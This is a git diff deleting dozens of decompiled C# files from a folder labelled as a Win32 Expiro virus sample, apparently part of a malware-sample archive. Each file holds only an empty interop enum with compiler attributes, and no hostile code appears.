ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _TRUSTED_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRUSTEE_FORM.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRUSTEE_FORM.cs deleted file mode 100644 index e817db72..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRUSTEE_FORM.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRUSTEE_FORM -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TRUSTEE_FORM -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRUSTEE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRUSTEE_TYPE.cs deleted file mode 100644 index e83f4fa4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_TRUSTEE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRUSTEE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TRUSTEE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_URLZONEREG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_URLZONEREG.cs deleted file mode 100644 index ea0652fd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_URLZONEREG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _URLZONEREG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _URLZONEREG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_USER_MARSHAL_CB_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_USER_MARSHAL_CB_TYPE.cs deleted file mode 100644 index c276d203..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_USER_MARSHAL_CB_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _USER_MARSHAL_CB_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _USER_MARSHAL_CB_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_CACHE_CHANGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_CACHE_CHANGE.cs deleted file mode 100644 index 3a322dda..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_CACHE_CHANGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _WRITE_CACHE_CHANGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _WRITE_CACHE_CHANGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_CACHE_ENABLE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_CACHE_ENABLE.cs deleted file mode 100644 index 5974d7ec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_CACHE_ENABLE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _WRITE_CACHE_ENABLE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _WRITE_CACHE_ENABLE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_CACHE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_CACHE_TYPE.cs deleted file mode 100644 index 39a955b0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_CACHE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _WRITE_CACHE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _WRITE_CACHE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_THROUGH.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_THROUGH.cs deleted file mode 100644 index 9c056abd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_WRITE_THROUGH.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _WRITE_THROUGH -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _WRITE_THROUGH -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0001.cs deleted file mode 100644 index 74d9ba0b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum __MIDL_IBindStatusCallback_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0002.cs deleted file mode 100644 index 11738952..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IBindStatusCallback_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0003.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0003.cs deleted file mode 100644 index 07c62180..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0003.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0003 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IBindStatusCallback_0003 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0004.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0004.cs deleted file mode 100644 index 7bc1c182..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0004.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0004 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IBindStatusCallback_0004 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0005.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0005.cs deleted file mode 100644 index 3962328e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0005.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0005 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IBindStatusCallback_0005 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0006.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0006.cs deleted file mode 100644 index 59763c7b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0006.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0006 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IBindStatusCallback_0006 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_ICodeInstall_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_ICodeInstall_0001.cs deleted file mode 100644 index 696dcfad..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_ICodeInstall_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_ICodeInstall_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_ICodeInstall_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetSecurityManager_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetSecurityManager_0001.cs deleted file mode 100644 index fdf73dc4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetSecurityManager_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetSecurityManager_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IInternetSecurityManager_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetSecurityManager_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetSecurityManager_0002.cs deleted file mode 100644 index 22bb907f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetSecurityManager_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetSecurityManager_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum __MIDL_IInternetSecurityManager_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetSecurityManager_0003.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetSecurityManager_0003.cs deleted file mode 100644 index 97a8dcf4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetSecurityManager_0003.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetSecurityManager_0003 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IInternetSecurityManager_0003 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetZoneManager_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetZoneManager_0001.cs deleted file mode 100644 index 3f1939ee..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetZoneManager_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetZoneManager_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IInternetZoneManager_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetZoneManager_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetZoneManager_0002.cs deleted file mode 100644 index 0517da36..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetZoneManager_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetZoneManager_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IInternetZoneManager_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IMonikerProp_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IMonikerProp_0001.cs deleted file mode 100644 index 647c4a1e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IMonikerProp_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IMonikerProp_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum __MIDL_IMonikerProp_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IOleDocument_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IOleDocument_0001.cs deleted file mode 100644 index 1ab6930f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IOleDocument_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IOleDocument_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL_IOleDocument_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IPrint_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IPrint_0001.cs deleted file mode 100644 index 1538b8a0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IPrint_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IPrint_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IPrint_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL___MIDL_itf_objidl_0000_0046_0001.cs 